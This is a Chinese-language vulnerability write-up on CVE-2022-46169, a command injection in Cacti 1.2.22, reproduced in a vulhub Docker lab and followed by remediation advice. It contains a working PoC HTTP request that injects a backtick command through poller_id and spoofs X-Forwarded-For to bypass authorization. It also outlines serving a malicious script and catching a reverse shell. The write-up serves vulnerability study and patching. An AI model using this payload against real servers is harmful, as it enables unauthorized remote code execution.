1、漏洞概述
Cacti项目是一个开源平台,可为用户提供强大且可扩展的操作监控和故障管理框架。在1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。漏洞编号:CVE-2022-46169,漏洞等级:严重。
2、影响范围
影响版本
Cacti == 1.2.22
不受影响版本
Cacti == 1.2.23
Cacti == 1.3.0
3、环境搭建
vulhub搭建本地测试环境进行复现:
将包下载到有docker环境的机器上,执行以下命令
#解压靶场环境
unzip vulhub-master
#进入靶场环境
cd vulhub-master/cacti/CVE-2022-46169/
#安装漏洞环境并编译
docker-compose up -d
装好之后查看容器是否启动 docker ps
环境启动后,访问http://your-ip:8080会跳转到登录页面,使用admin/admin作为账号密码登录,并根据页面中的提示进行初始化,不断点击“下一步”,直到安装成功:
4、漏洞复现
利用条件:Cacti应用中至少存在一个类似是POLLER_ACTION_SCRIPT_PHP的采集器
1、登录Cacti后台首页创建一个新的Graph
创建的Graph Type是“Device - Uptime”
点击创建
2、BP抓取首页包,构造请求payload实现RCE
POC:
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`执行的命令` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
漏洞存在
5、漏洞利用
制作exp
python搭建http服务器
python3 -m http.server 80
让目标下载恶意脚本
VPS开启监听,执行恶意脚本,拿下shell
6、修复建议
1、升级至安全版本
下载链接:
https://github.com/Cacti/cacti/tags
2、缓解方案
(1) 通过更新 lib/functions.php 中 get_client_addr 函数防止授权绕过,可参考官方补丁代码;
(2) 通过更改remote_agent.php文件防止命令注入,检索$poller_id参数时使用 get_filter_request_var函数代替get_nfilter_request_var:
$poller_id = get_filter_request_var('poller_id');
(3) 在参数$poller_id传入proc_open()函数之前通过escapeshellarg()函数进行转义:
$cactiphp = proc_open(read_config_option('path_php_binary').'-q'.$config['base_path'].'/script_server.php realtime'.escapeshellarg($poller_id),$cactides,$pipes);
版权归原作者 OidBoy_G 所有, 如有侵权,请联系我们删除。